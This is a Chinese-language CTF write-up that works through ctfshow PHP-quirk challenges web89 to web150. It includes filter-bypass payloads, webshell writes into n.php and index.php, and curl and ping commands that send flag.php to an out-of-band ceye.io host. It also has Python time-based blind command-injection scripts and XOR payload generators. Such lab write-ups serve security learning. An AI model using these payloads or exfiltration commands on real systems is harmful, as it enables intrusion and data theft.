php特性

web89

代码审计,首先是get传参,这道题用了正则表达式对数字进行了过滤,如果检测到数字那会直接结束代码,后面用了intval函数,这个函数能获取你输入的数字,成功时返回 var 的 integer 值,失败时返回 0。 空的 array 返回 0,非空的 array 返回 1。最大的值取决于操作系统。 32 位系统最大带符号的 integer 范围是 -2147483648 到 2147483647。举例,在这样的系统上, intval('1000000000000') 会返回 2147483647。64 位系统上,最大带符号的 integer 值是 9223372036854775807。字符串有可能返回 0,虽然取决于字符串最左侧的字符。那我们可以利用它错误返回1的情况,让if后面等于1,再输出flag

image-20251111103530196

image-20251111103546536

我们要输入一个数组才行,所以我们的payload得是?num[]=1,为什么不是?num=[11]呢,因为num是传参,如果你这么写,那没法把num定义为变量,那他传过去的就是一个[11]这个字符串而不是数组,那自然没有结果

image-20251111105355248

web90

代码审计,依旧是利用intval来获取数据,但不同的是这里有base=0,第二个参数0能根据前缀自动获取数据类型并且进行转换

intval("42", 0);     // 42(十进制)
intval("0x2A", 0);   // 42(十六进制,因为有 0x 前缀)
intval("052", 0);    // 42(八进制,因为有 0 前缀)
intval("0b101010", 0);// 42(二进制,PHP 8.1+,因为有 0b 前缀)

我们可以利用二进制数绕过===强比较,来获取flag

image-20251111110735125

image-20251111111449784

web91

代码审计,这里的^/php$/im是多行匹配我php,如果我输入的文本里有一行是php,那么就输出1,进入if语句,第二个^/php$/i是单行匹配,也就是说我整个字符串不能是单个php,比如?cmd=php,否则就会输出hack

image-20251111112530098

image-20251111112537148

那我们只需要输入多行字符串,其中一行为php,但整个字符串不是单个php就行了,我们可以用%0a进行换行,然后随便写点文本进去就行了

image-20251111113130486

web93

这道题与前几道题差不多,依旧是intval的妙用,但不同的是这里额外过滤了字母,也就是说我们不能用类似0b的编码来让它帮我们转换二进制绕过验证了

image-20251111160218926

并且由于弱比较的性质,我们不能用‘4476’化成字符串来解决,那我们可以用8进制绕过验证,因为在php中八进制数默认以0开头,不需要额外的字母

image-20251111161559710

web94

这道题又变回了熟悉的强比较,但不同的是道题多了一个strpos()函数,这个函数是用于在字符串中找字符的位置,比如strpos(12345,3)那就会返回2,如果没有这个字符就会返回false,在这道题里,我们不能让他返回false或者0,因为前面有!,所以这要求我们输入的字符串第一位不能是0(这样会导致!0,从而die,也就是说八进制也不行了)而且必须包含0(不然!false也会die)

image-20251111170127243

但你开头加个空格就行了= =,空格的url编码是%20,正好绕过对开头的检测,后面代表8进制的0又能绕过第二个检测,或者改成4476.0也行,因为第一个是强比较

image-20251111171615163

web96

这道题过滤了flag.php,如果你传的是flag.php那会直接报错,如果你传的不是这个值则会显示该名字文件的内容,我们需要绕过对flag.php的过滤

image-20251111205105856

我们可以走伪协议来读取

image-20251111210655918

另一种方法是,在linux系统里默认./是当前目录,可以在flag.php前面加上./,不会影响读取

image-20251111210757923

web97

这道题用的是md5弱比较绕过

image-20251112205545732

isset函数用于检测变量是否被声明了,如果声明了就返回true,否则就返回false

这道题虽然是强比较,但并不是强碰撞,因为没有string强制把它转化成字符串,md5处理不了数组,会自动转化成null,那我们只要传两个不同的数组进去就能绕过了

image-20251112212246207

web98

image-20251113134310616

这里用了几个三元比较符号

第一个三元比较:如果我们传了一个get参数的话,就把get参数里面的值变成post参数的值,否则输出字符串flag

第二个三元比较:如果我们的get参数flag的值等于flag的话,就把get参数里面的值变成cookie的值,否则输出字符串flag

第三个三元比较:如果我们的get参数flag的值等于flag的话,就把get参数里面的值变成server的值,否则输出字符串flag,($_SERVER是请求头)

第四个三元比较:如果get参数HTTP_FLAG的值等于flag,那就输出我们需要的flag

我们要完全不需要利用中间的代码,只要把post传参改成HTTP_FLAG=flag,再随便传一个get参数,他就会自动把get参数替换从post的参数,至于flag这个get参数你管他呢,反正我拿到flag就行了

image-20251113143724737

web99

image-20251113144050895

这串代码先是声明了一个列表,再往列表里生成了877-36=841个随机数。数字的范围是1-876。然后get传参n,如果n在这个数组中,那就会把content的内容写入n这个数字命名的文件里

这里我们不得不提一下非常重要的php特性,那就是在php中数字和字符串进行比较时会只比较数字部分而忽略后面的字符,也就是说56.php=56,那我们可以直接创建一个n.php文件,并且写入一句话木马,由于是随机数,所以得多试几次

image-20251113155805346

image-20251113155812949

image-20251113155824790

拿下后台

web100

image-20251113162303284

先把get传参的v1、v2、v3赋值到v1、v2、v3,再用is_numeric()函数来检查v1是否为数字,如果是的话v0则为true,否则为false,在判断为数字时v2和v3其实没啥影响,哪怕他们不是数字只要v1是数字那v0就是true,然后正则表达式看v2和v3,要求v2不带分号,v3带分号,再把他们与字符串('ctfshow')拼接,在eavl里,不能用tac这类语法,要用eval(“echo file_get_contects('flag.php');")

这里比较麻烦的事拼接的是('ctfshow')而不是ctfshow,我们没法直接用拼接的碎片,不然会报错的,那我们可以用/ + ('ctfshow') + /把它注释掉

image-20251113165143685

image-20251113165136046

image-20251113165828388

根据这个提示把0x2d换成-拿到flag

web101

image-20251113170315975

相比于上一道题多了很多过滤,不能用注释来去掉括号的影响,这里涉及到类,可以考虑使用 ReflectionClass 建立反射类。new ReflectionClass($class) 可以获得类的反射对象(包含元数据信息)。元数据对象(包含class的所有属性/方法的元数据信息)。

image-20251113171339833

<?php
class hacker{
    public $hackername = "yn8rt";
    const  yn8rt='nb666';
    public  function show(){
        echo $this->name,'<br>';
    }
}
 //有这么一个hacker类,假设我们不知道这个类是干什么用的,我们需要知道类里面的信息,这时候就需要
用到ReflectionClass来对类进行反射
//现在我可以通过反射来获取这个类中的方法,属性,常量
//通过反射获取类的信息
$reflection = new ReflectionClass('hacker');//实例化反射对象,映射hacker类的信息
$consts = $reflection->getConstants();//获取所有常量
$props = $reflection->getProperties();//获取所有属性
$methods = $reflection->getMethods();//获取所有方法
var_dump($consts);
var_dump($props);
var_dump($methods);
 ?>   

运行结果:

array(1) {
  ["yn8rt"]=>
  string(5) "nb666"
}
array(1) {
  [0]=>
  &object(ReflectionProperty)#2 (2) {
    ["name"]=>
    string(10) "hackername"
    ["class"]=>
    string(6) "hacker"
  }
}
array(1) {
  [0]=>
  &object(ReflectionMethod)#3 (2) {
    ["name"]=>
    string(4) "show"
    ["class"]=>
    string(6) "hacker"
  }
}

web102

image-20251113183125373

这道题先是用post传了v1,再用get传了v2还有v3,然后如果v2是数字,那v4就是true,就可以进入if语句,substr为提取字符串,如果v2是12345就从第三位开始提取变成345,如果不足二位就是false,然后用call_user_func来运行v1,v1应该是可以运行的函数,s是传递给函数v1的参数,再把结果写进v3

这里主要是要绕过isnumber的限制,让v2能作为参数传入,而且由于v2前两位作废,所以加个00就行,那怎么办呢,v1是我们的调用方法,v2是我们的shell,这里可以用<?=cat *;来读取网页源码

那怎么绕过isnumber呢,我们可以先用base64进行编码,再用hex(16进制)编码,使其变成数字,再在这串数字开头加上00就行了

那v3我们就可以有php://filter伪协议进行base64解码,base64解码还不够,因为我们还进行了hex编码,所以我们v1可以是hex2bin函数,进行hex编码,这样就能运行v2的shell

其中v2的shell是<?=cat *; // 等价于 <?php echo shell_exec('cat *'); (`被吃了),

php语言不用?>闭合也可以执行

这个 ` 是 PHP 的执行运算符(Execution Operator),功能等同于 shell_exec() 函数,不是普通的引号。

image-20251113195034045

image-20251113195049098

image-20251113195106524

image-20251113195129207

web103

image-20251114122845657

和上道题相比,多了对str的过滤检测

一样绕过就行了,反正我是base64编码

image-20251114123226036

image-20251114123248789

web104

image-20251114124135764

这里是进行哈希值比较,如果v1和v2的哈希值相同,那就会显示flag,没要求不一样的两个数,那我传一样的得了

image-20251114124401113

web105

image-20251114125849419

error_reporting(0);关闭了错误报告,防止我们从错误报告里得到信息,然后进行两个foreach循环,第一个循环是不停把get的键值赋值成value的值,在进行比较确保里面没有error,否则运行结束。第二个foreach循环是把post的键值覆盖层value,并且进行比较确保没有flag,最后代码检查POST参数中的flag值是否与真实的$flag值相等,想的的话就显示flag

有两个 foreach 循环,分别处理 $_GET 和 $_POST 参数。

在GET循环中,如果参数键为 error,则脚本终止;否则执行 $$key = $$value(变量变量赋值)。

在POST循环中,如果参数值为 flag,则脚本终止;否则执行 $$key = $$value。

最后检查 $_POST['flag'] 是否等于 $flag,如果相等则输出flag,否则输出错误信息。

也就是说:

?suces=flag

变成:

$key="suces"
$value="flag"
$suces = $flag( $$key=$$value;这行代码发力了= =)

直接把 $suces 设置为 flag 内容

get和post就和字典一样,参数名是key,内容是value

b087647c20bc644dcb2acc7b763e9ab1

image-20251114135414780

web106

image-20251114185308345

这道题就是之前那道题的哈希绕过,并且终于限制了v1不能=v2,那我们就用0e绕过

PHP在处理哈希字符串时,它把每一个以“0E”开头的哈希值都解释为0,所以如果两个不同的密码经过哈希以后,其哈希值都是以“0E”开头的,PHP会当作科学计数法来处理,也就是0的n次方,得到的值比较的时候都相同。

这种方式只有在弱比较的时候才能使用。

以下值在md5加密后以0E开头:

  • QNKCDZO
  • 240610708
  • s878926199a
  • s155964671a
  • s214587387a
  • s214587387a

以下值在sha1加密后以0E开头:

  • aaroZmOk
  • aaK1STfY
  • aaO8zKZF
  • aa3OFF9m
  • 0e1290633704
  • 10932435112

双重MD5加密后0E开头:

  • 7r4lGXCH2Ksu2JNT3BYM
  • CbDLytmyGm2xQyaLNhWn
  • 770hQgrBOjrcqftrlaZk

image-20251114190100233

web107

image-20251114190813337

这行代码使用parse_str()函数解析字符串$v1,并将结果存储到数组$v2中。parse_str()函数会将字符串中的URL编码参数解析为键值对。例如,如果$v1是字符串"flag=test&other=value",那么$v2将变为数组['flag' => 'test', 'other' => 'value']

然后比较v2中flag的值是否等于v3的md5,既然是弱比较,那我们可以把v3传成md5为0e开头的字符串,再把flag变成0,那就能过了

web108

image-20251115151159991

这串代码先是利用正则表达式过滤字母,但这里的过滤导致了只有字母的字符串才不会die,再把过滤后的字符串取反并化为整数,如果他的值等于0x36d,那就输出flag,由于这边是弱比较,我们需要让自己的字符串为877

intval() 转换字符串类型时,会判断字符串是否以数字开头

  • 如果以数字开头,就返回1个或多个连续的数字
  • 如果以字母开头,就返回0

单双引号对转换结果没有影响,并且 0 或 0x 开头也只会当做普通字符串处理

这里我们主要是要突破ereg的限制,可以用%00截断

我们直接先输入符合正则表达式规则的字符串,这里输入一个字母,再用%00去截断他,这样只会检测前面的东西,让我后面的数字也一起过去了,然后取反,778变成877,再变成数字去除了多余的号,拿到答案

image-20251115155156948

web109

image-20251115161153589

这道题先是用isset函数来确保v1和v2不为空,然后用正则表达式过滤他们至少有一个字母,然后显示并创建一个新的对象,对象的名字为v1,v2函数的回显值为类的参数,我们可以让v1=内置类&v2=system('ls')即可 php中会先执行ls命令,然后把结果作为参数再执行,但ls的结果已经被输出了,那内置类的话我们就选择ReflectionClass(反射类)或者Exception(异常类)

39RG8NQJ%NU8K{CU~@C1SMC

反正只要是内置类就行,不能new一个不存在的类,会报错的,这样就看不到了

image-20251115162958973

众所周知,如果该对象的类中没有toString方法,直接echo该对象会报错,如果类中有toString方法,则会触发__toString方法而不报错。

web110

image-20251115163804066

这道图和上到题差不多,不过过滤了不少有用的符号,v1不能用内置类了,因为v2括号被过滤了,但我们可以用不需要参数的getcwd来绕过,那就需要配合FilesystemIterator类来执行

FilesystemIterator类

  • getcwd() 返回当前工作目录路径,不需要额外的参数。
  • 之后创建一个 FilesystemIterator 对象,接收当前目录。
  • 该对象会遍历当前目录中的文件。
  • 这里就会输出当前目录中第一个文件的路径。
  • 并且把第一个文件的内容复制到同名的txt文件中,如:把flag.php 复制到 flag.txt中

image-20251115164948361

然后直接访问就行了

image-20251115165005172

web111

image-20251115165317390

这里先构建一个类,把v1的内容变成新的方法,然后get传参v1和v2,利用正则表达式过滤了非字母的情况,并且进行判断,如果v1里有ctfshow就把v1v2传到类里,很典型的参数覆盖

在函数内部无法调用外部的变量,除非进行传参。这道题无非注意以下几点:

  1. 我们最终要得到 $flag 的值,就需要 var_dump($$v1) 中的 $v1 为 flag,即 $v2 要为 flag,这样 $$v2 就为 $flag,&$$v2 就为 $flag 对应的值
  2. URL 传参时 $v2 不能直接传为 flag,否则 $flag 会因“函数内部无法调用外部变量”的限制而导致其返回 null
  3. 要想跨过词法作用域的限制,我们可以用 GLOBALS 常量数组,其中包含了 $flag 键值对,就可以将 $flag 的值赋给 $$v1

image-20251115183311814

web112

image-20251115183628917

这道题就是对flie里面的各种符号和伪协议进行过滤,并且还用了is_file()函数,把存在的文件名全过滤了,但他似乎没过滤fliter协议,这里由于过滤了base64,我们需要普通读写

image-20251115184207858

web113

image-20251115185026913

这道题把fliter伪协议也过滤了

我们可以利用函数所能处理的长度限制进行目录溢出: 原理:/proc/self/root代表根目录,进行目录溢出,超过is_file能处理的最大长度就不认为是个文件了。file=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/p roc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/pro c/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/ self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/se lf/root/proc/self/root/var/www/html/flag.php

或者利用compress.zlib伪协议

Q1:为什么 compress.zlib 可以读而 bzip2 就不行,两者有何区别

bzip2使用 libbzip2 解码器,bzip2 格式有明确的文件头(魔数 BZh)和严格的帧结构,没有像 zlib 那样的“stored/uncompressed block”可透传原始数据

Q2:为什么 zlib 协议可以读取非压缩文件(flag.php 肯定是非压缩文件吧)

zlib 设计时就允许压缩流里存在未压缩的数据块 所以如果你给它一个普通文件就会:

  1. 检测不到压缩标识;
  2. 把剩下的字节当作未压缩数据直接透传。
  3. 结果就是:文件原样输出,看起来就像“能读非压缩文件”

image-20251115185558671

web114

image-20251115190104876

这里多了对compress以及root的过滤,但你怎么把filter放出来了= =

image-20251115190632400

web115

image-20251115192215639

这里过滤了36这个数字,并且过滤了各种编码的方法,trim也过滤了空格

在php中"36"是等于"\x0c36"的,同时trim也不会过滤掉\x0c也就是%0c,提交payload: /?num=%0c36
此时$num不等于36,且为数字,trim以后也不等于36,且'\x0c36'=='36'

web118

image-20251116164539149

这道题我们需要找到flag的路径才行

构造语句

${PATH:~A}${PWD:~A}$IFS????.???

${PATH:~A}:

这个表达式从PATH环境变量中取出第一个路径。~A表示匹配任意字符,相当于通配符*。这个表达式的意思是,从PATH变量中选择第一个路径,并将其作为结果输出。

${PWD:~A}:

这个表达式从当前工作目录 (即PWD环境变量) 中取出第一个路径。同样地,~A表示匹配任意字符,相当于通配符*。这个表达式的意思是,从PWD变量中选择第一个路径,并将其作为结果输出。

IFS????.???:

这是一个条件语句,其中IFS表示内部字段分隔符,????.???表示一个匹配任意字符的通配符。这个条件语句的意思是,如果PATH环境变量中存在任何路径,并且这些路径以任意字符分隔,那么条件就成立,脚本会执行相应的代码。

总结

综合起来,这个示例的意思是,如果PATH环境变量中存在任何路径,并且这些路径以任意字符分隔,那么从PATH变量中选择第一个路径,并将其作为结果输出。否则,从当前工作目录中选择第一个路径,并将其作为结果输出。

image-20251116164812679

web123

image-20251117102622190

这道题先是对c进行了过滤,且要求c小于等于18,然后执行c并且加上;,最后进行比较绕过fl0g=flag_give_me就输出答案,此外这道题有个非常抽象的东西,那就是必须保证fl0g不存在,所以不能直接传个fl0g上去

由于在php中变量名只有数字字母下划线,被get或者post传入的变量名,如果含有空格、+、[则会被转化为,所以按理来说我们构造不出CTF_SHOW.COM这个变量(因为含有.),但php中有个特性就是如果传入[,它被转化为之后,后面的字符就会被保留下来不会被替换,然后把fun变成我们要执行的命令

image-20251117104442922

web125

image-20251117104913677

大差不差,但和刚刚相比多了对一些命令的过滤

那我们可以用extract()函数来进行赋值,比如extract(a)=3 => &a=3,我们这里直接extract($_post)&fun=flag_give_me,让fl0g为需要的值

也可以GET:?1=flag.php POST:CTF_SHOW=&CTF[SHOW.COM=&fun=highlight_file($_GET[1])

image-20251117105347865

web126

image-20251117110132172

这道题过滤了更多的字符,比较麻烦的是还限制c的长度小于等于16,我们可以用assert来执行

?$fl0g=flag_give_me

CTF_SHOW=1&CTF[SHOW.COM=2&fun=assert($a[0])

为什么assert不能换成eval?因为$fl0g=flag_give_me句尾无分号,eval分号敏感故无法执行,assert由于只能执行单句php代码,所以分号不敏感,无分号也能执行,如果是eval就要在赋值那边加分号

这段代码将 CTF_SHOW 和 CTF[SHOW.COM 设置为12,然后使用 assert($_SERVER['QUERY_STRING']) 执行 assert 函数,其中传递的参数是 $_SERVER['QUERY_STRING']。 在网页模式下,$_SERVER['QUERY_STRING'] 包含了从 URL 中获取的查询字符串。它被直接传递给了 assert 函数。 这样的代码结构允许通过修改 URL 中的查询字符串来执行任意的 PHP 代码。因为 assert 函数用于执行字符串中的 PHP 代码。

image-20251117113312290

image-20251117113801581

image-20251117122533634

web127

image-20251117205551417

这道题用sever对字符串进行了过滤,如果检测到以上的符号就die,如果没有就对get传参进行赋值

我们可以用url对被过滤的字符进行编码

浏览器里=号不能被解析,他是分割键值的符号,所以%3d会原封不动上去,如果要全编码得绕开

image-20251117211919395

web128

image-20251117213335737

这道题先是用check函数的正则表达式过滤了f1的小写字母和数字,然后用了call_user_func()函数,这里的意思是把f1当成一个函数,然后把f2当成函数的参数,最后回显这个函数的结果

_()是一个函数

_()==gettext() 是gettext()的拓展函数,开启text扩展。需要php扩展目录下有php_gettext.dll

get_defined_vars()函数

get_defined_vars — 返回由所有已定义变量所组成的数组 这样可以获得 $flag

payload: ?f1=_&f2=get_defined_vars

web129

image-20251117215337568

这道题查询了f中ctfshow的位置,如果大于0就会去阅读f指向的文件

我们可以进行目录穿越,然后去源代码里阅读

image-20251117220343494

image-20251117220359704

目录穿越哪怕前面有错误目录也不会影响的

web130

image-20251118163510212

这道题要求我们f以ctfshow开头,不然就die

image-20251118164415560

wbe131

image-20251118165734363

这道题要求文中必须要ctfshow开头,且必须含有36Dctfshow,并且这里强制把f转成了字符串,不能用数组绕过,我们可以用溢出绕过,在php中对正则表达式有长度规定,如果长度过长就直接false,那我们可以传一个非常长的字符串进去,而第二个if不是正则表达式,所以不会有影响

常见的正则引擎,又被细分为DFA(确定性有限状态自动机)与NFA(非确定性有限状态自动机)。

  • DFA: 从起始状态开始,一个字符一个字符地读取输入串,并根据正则来一步步确定至下一个转移状态,直到匹配不上或走完整个输入。
  • NFA:从起始状态开始,一个字符一个字符地读取输入串,并与正则表达式进行匹配,如果匹配不上,则进行回溯,尝试其他状态。

大多数程序语言都使用NFA作为正则引擎,其中也包括PHP使用的PCRE库

PHP为了防止正则表达式的拒绝服务攻击(reDOS),给pcre设定了一个回溯次数上限pcre.backtrack_limit。

我们可以通过var_dump(ini_get('pcre.backtrack_limit'));的方式查看当前环境下的上限:结果返回为1000000

那么只需要输入的匹配字符串长度大于1000000,那么preg_match函数就会直接返回false,那么我们可以通过代码产生满足条件的字符串

echo "f=".str_repeat("very",250000)."36Dctfshow";

字符串“very”复制25万次,正好100万个字符

然后Post方式发送参数f,为生成的字符串即可得到flag

image-20251118172459864

web132

image-20251118205340197

dirsearch扫描出了robots文件,打开看到了提示admin

image-20251118205424980

发现源代码

image-20251118205444401

这道题先对三个参数进行get传参,然后如果code等于1-15的某个数,password=flag的值,或者username为admin的话,就进行判断,如果code又等于admin,就输出flag

image-20251118210037951

我们利用php特性,这道题的&&比较在第一个为false时整个都是false了,但由于后面是||比较,所以username符合要求也能过第一个if,第二个if就把值附上去就行了

web133

image-20251118210423929

这道题过滤了一些命令,并且限制了f长度为6

image-20251118214810049

这里可以利用参数覆盖,我们输入的payload前六位被截下来了,那就是$F,这个反引号会再次把F进行赋值,类似于参数覆盖,然后我们用curl把输出打包,这样就可以看到回显了

以下是curl的参数

image-20251118215541117

image-20251118215632925

我们进行dns外带,先构造curl的payload :

https://967fe320-f189-41c4-803c-222e56b3cde1.challenge.ctf.show/?F=`$F`; curl -X POST -F xx=@flag.php nfud00.ceye.io

-x是请求方法,-F是文件上传,xx应该是名字,后面@是上传的文件

在这之前我们去网页里拿到自己的dns

image-20251118221331551

image-20251118221119087

得到结果(这玩意会卡一会)

web134

image-20251119134235255

首先先确认四个参数都不存在,然后先用sever超全局变量获取url里的字符串,再用parse_str函数把获取到的字符串设置为全局变量,再用extract把post传参里的变量进行赋值,最后进行比较

这里很简单,因为extract函数其实是解析post数组,那我们可以用get方法直接传一个post数组上去,这样利用extract的解析,可以在if检测后赋值

image-20251119135603344

image-20251119135557340

web135

image-20251119140407349

133的加强版,过滤了curl

除了一般的空格绕过,以及文件写入外,我们可以用ping命令把东西带出去

`$F`;+ping `cat flag.php|awk 'NR==2'`.nfud00.ceye.io

当然文件写入是最简单的方法

image-20251119141403111

image-20251119141419930

web136

image-20251119144753053

这道题利用函数对c有非常严格的过滤

常规方式命令可执行,但是回显一直为1,因为>过滤,使用tee命令,可以变为另一个文件,类似>

payload: ?c=ls /|tee 2 访问2下载查看文件 ?c=cat /f149_15_h3r3|tee 3 访问下载查看文件3

image-20251119145703437

ls后面一定要有空格

image-20251119145911498

web137

image-20251121104148291

这道题定义了一个class类,里面有一个魔术方法wakeup,如果进行反序列化的话那会限制性魔术方法,die程序,然后是一个读取flag内容的静态方法,call_user_func()是用于调用用户自定义的回调函数的方法,那我们这里可以让他调用getflag,且由于没有涉及到序列化和反序列化,所以不会触发wakeup魔术方法

image-20251121105503818

image-20251121105513222

image-20251121105619048

这边是类名::方法名,或者你可以把类名和方法名放在一个数组里

web138

image-20251121105843929

代码和刚刚差不多,就是多了对::的过滤,参考上面的,我们可以用数组进行传参

ctfshow[0]=ctfshow&ctfshow[1]=getFlag

提交: ctfshow[0]=123&ctfshow[1]=456
后端处理的时候会变成
$_POST['ctfshow'] = array(
0 => '123',
1 => '456'
);

web139

image-20251121124652771

这道题依旧是绕过过滤,这里的exec是执行命令的代码,和eval不同,这里可以执行更复杂的python代码

我们可以把ip变成int,然后用\绕过对curl的过滤,也可以用脚本解决

先用脚本把ls给执行了

import requests
import time
import string

str = string.ascii_letters + string.digits + "_"
result = ""

for i in range(1, 5):
    key = 0
    for j in range(1, 15):
        if key == 1:
            break
        for n in str:
            payload = "if [ `ls /|awk 'NR=={0}'|cut -c {1}` == {2} ];then sleep 3;fi".format(i, j, n)
            # print(payload)
            url = "http://877848b4-f5ed-4ec1-bfc1-6f44bf292662.chall.ctf.show?c=" + payload
            try:
                requests.get(url, timeout=(2.5, 2.5))
            except:
                result = result + n
                print(result)
                break
    result += " "

各部分功能:

  1. ls / - 列出根目录下的所有文件和目录
  2. awk 'NR=={0}' - 取第{i}行({0}会被format中的i替换)

    • NR 是awk的内置变量,表示当前行号
    • 例如:NR==1 取第一行,NR==2 取第二行
  3. cut -c {1} - 截取第{j}个字符({1}会被format中的j替换)

    • -c 参数表示按字符位置截取
  4. == {2} - 判断是否等于字符{n}({2}会被format中的n替换)
  5. sleep 3 - 如果条件成立,睡眠3秒

完整逻辑

这个payload的作用是:

  • 列出根目录的文件
  • 取第i个文件名的第j个字符
  • 判断这个字符是否等于n
  • 如果相等,就执行sleep 3导致延迟

攻击原理

通过观察响应时间来判断字符是否正确:

  • 如果响应延迟3秒 → 字符猜对了
  • 如果正常响应 → 字符不对

示例

假设:

  • i=1, j=1, n='b'
  • 根目录第一个文件是bin

生成的payload:

bash

if [ `ls /|awk 'NR==1'|cut -c 1` == b ];then sleep 3;fi

意思是:如果根目录第一个文件的第一个字符是'b',就睡眠3秒。

image-20251121133710695

拿到文件

然后我们进行文件读取的盲注

import requests
import time
import string

str = string.digits + string.ascii_lowercase + "-"
result = ""
key = 0

for j in range(1, 45):
    if key == 1:
        break
    for n in str:
        payload = "if [ `cat /f149_15_h3r3|cut -c {0}` == {1} ];then sleep 3;fi".format(j, n)
        # print(payload)
        url = "http://16fb8221-6893-4aee-95d5-dbe7163bded0.chall.ctf.show?c=" + payload
        try:
            requests.get(url, timeout=(2.5, 2.5))
        except:
            result = result + n
            print(result)
            break

image-20251121135234077

web140

image-20251121140858059

这道题先是post传了f1和f2两个参数,然后用正则表达式,确保了f1和f2只有数字和小写字母,然后把f1当成函数去执行f2,如果他们的返回值变成整数等于ctfshow(字符串不是数字,所以要求他们的返回值为false/null/0),那就输出flag,可以是 usleep(usleep())---> f1=usleep&f2=usleep usleep没有返回值。 所以intval参数为空,失败返回0

或者f1=md5&f2=array,因为md5没法处理列表

web141

image-20251121142623657

这里get传参了v1v2v3三个参数,v1和v2只能是数字,v3只能是不包含字母的字符串,然后运行v1v3v2拼接起来的结果,并且回显,我们要使用无字母的命令执行

由于php特性,1-命令-1的形式里,那个命令可以正常执行

我们构建payload

<?php

echo urlencode(~'system');
echo '<br/>';
echo urlencode(~'tac flag.php');

?>

取反然后url编码

image-20251121145903360

image-20251121184355051

image-20251121184409736

web142

image-20251121181814828

这道题把v1传入并且变成字符串,如果v1是数字的话就把v1成87的四次方,再让网页休眠这个数字,我们只要传个0进去即可

image-20251121182155553

web143

image-20251121182407096

和141差不多,但增加对编码的过滤,而且~被过滤,要换一种绕过方法,减法被过滤了可以用除号平替,我们可以用位运算构造字符

编写脚本

<?php
 
//或
function orRce($par1, $par2){
    $result = (urldecode($par1)|urldecode($par2));
    return $result;
}
 
//异或
function xorRce($par1, $par2){
    $result = (urldecode($par1)^urldecode($par2));
    return $result;
}
 
//取反
function negateRce(){
    fwrite(STDOUT,'[+]your function: ');
 
    $system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));
 
    fwrite(STDOUT,'[+]your command: ');
 
    $command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));
 
    echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';
}
 
//mode=1代表或,2代表异或,3代表取反
//取反的话,就没必要生成字符去跑了,因为本来就是不可见字符,直接绕过正则表达式
function generate($mode, $preg='/[0-9]/i'){
    if ($mode!=3){
        $myfile = fopen("rce.txt", "w");
        $contents = "";
 
        for ($i=0;$i<256;$i++){
            for ($j=0;$j<256;$j++){
                if ($i<16){
                    $hex_i = '0'.dechex($i);
                }else{
                    $hex_i = dechex($i);
                }
                if ($j<16){
                    $hex_j = '0'.dechex($j);
                }else{
                    $hex_j = dechex($j);
                }
                if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
                    echo "";
                }else{
                    $par1 = "%".$hex_i;
                    $par2 = '%'.$hex_j;
                    $res = '';
                    if ($mode==1){
                        $res = orRce($par1, $par2);
                    }else if ($mode==2){
                        $res = xorRce($par1, $par2);
                    }
 
                    if (ord($res)>=32&ord($res)<=126){
                        $contents=$contents.$res." ".$par1." ".$par2."\n";
                    }
                }
            }
 
        }
        fwrite($myfile,$contents);
        fclose($myfile);
    }else{
        negateRce();
    }
}
generate(2,'/[a-z]|[0-9]|\+|\-|\.|\_|\||\$|\{|\}|\~|\%|\&|\;/i');
//1代表模式,后面的是过滤规则
# -*- coding: utf-8 -*-

def action(arg):
    s1 = ""
    s2 = ""
    with open("rce.txt", "r") as f:
        lines = f.readlines()
        for i in arg:
            for line in lines:
                if line.startswith(i):
                    s1 += line[2:5]
                    s2 += line[6:9]
                    break
    output = "(\"" + s1 + "\"^\"" + s2 + "\")"
    return output


while True:
    function_input = input("\n[+] 请输入你的函数:")
    command_input = input("[+] 请输入你的命令:")
    param = action(function_input) + action(command_input)
    print("\n[*] 构造的Payload:", param)

image-20251121190849473

web144

image-20251121191315307

增加了对三的检测,但没事这道题我们可以对2进行传参,让三变成一个长度的符号,一样可以,而且这里的检测又变成141同款的了

image-20251121191834911

web145

image-20251121192040596

和之前的题目差不多,不过把加减乘除都过滤完了,我们这里可以用三元比较符 ? :来使语句连贯,也可以用位或运算符 |,由于没有过滤~,我们可以直接取反

image-20251121193054628

web146

image-20251121193252952

和145相比多了对:的过滤,那就用位或运算吧

image-20251121193413420

web147

image-20251121194006577

这道题先是post传了个ctf参数进去,然后把这个参数赋值给ctfshow,要求这个参数里没有字符和数字,然后再传一个show进去,把ctfshow作为一个函数去调用

php里默认命名空间是\,所有原生函数和类都在这个命名空间中。 调用一个函数时直接写函数名function_name(),相当于是相对路径调用; 如写某一全局函数的完全限定名称\function_name()调用,则是写了一个绝对路径。如果你在其他namespace里调用系统类,就必须写绝对路径这种写法

所以post时ctf可以通过加上\绕过匹配。

找个不需要第一个参数的函数。可以用create_function匿名函数。虽然该函数自PHP 7.2起已经弃用,但是还是可以eval执行函数,只是需要把匿名部分闭合。

get:`?show=}system('tac f*');/*` post:`ctf=%5ccreate_function`

可以这么理解:create_function创建一个匿名函数,我们假设就叫niming。 string create_function( string $args, string $code)那么具体就是如下面所示的样子:

function niming($args,...){
        $code
}

所以就需要}闭合,闭合之后,那就多出来一个},这就需要用注释符注释掉。

image-20251121195101538

web148

image-20251121195554297

这道题先是传了个参数,然后对参数进行过滤,最后执行这个参数,这里我们注意到有个方法是获取flag的方法,我们要执行那个方法,那我们直接把get_ctfshow_fl0g方法异或就行了

image-20251121200045320

web149

image-20251121200402357

这串代码用file_put_contents($_GET['ctf'], $_POST['show']);,以ctf为文件名,show为文件内容向网页写文件,但他会不停的删除除了目录以外的文件

预期解是通过条件竞争实现,但我们其实可以直接将一句话木马写进 index.php。

image-20251121201946688

image-20251121201959590

web150

image-20251121202442158

这道题对key进行了过滤,并且传了ctf这个参数,要求ctf这个参数必须以冒号开头或者无冒号,然后再CTFSHOW这个大类里定义了四个私有类,vip=0,serect为flag的值。如果isvip等于0的且ctf以冒号开头或者不含冒号的话就包含ctf,__destruct()析构函数会在对象销毁时输出secret。因此,只要创建CTFSHOW类的对象,就能通过析构函数拿到 flag。这里还有魔术方法_autoload,PHP 找不到某个类时,会调用该方法尝试 “加载” 类。这里直接执行类名作为函数(如类名是CTFSHOW,则执行CTFSHOW(),等价于new CTFSHOW(),可创建对象)

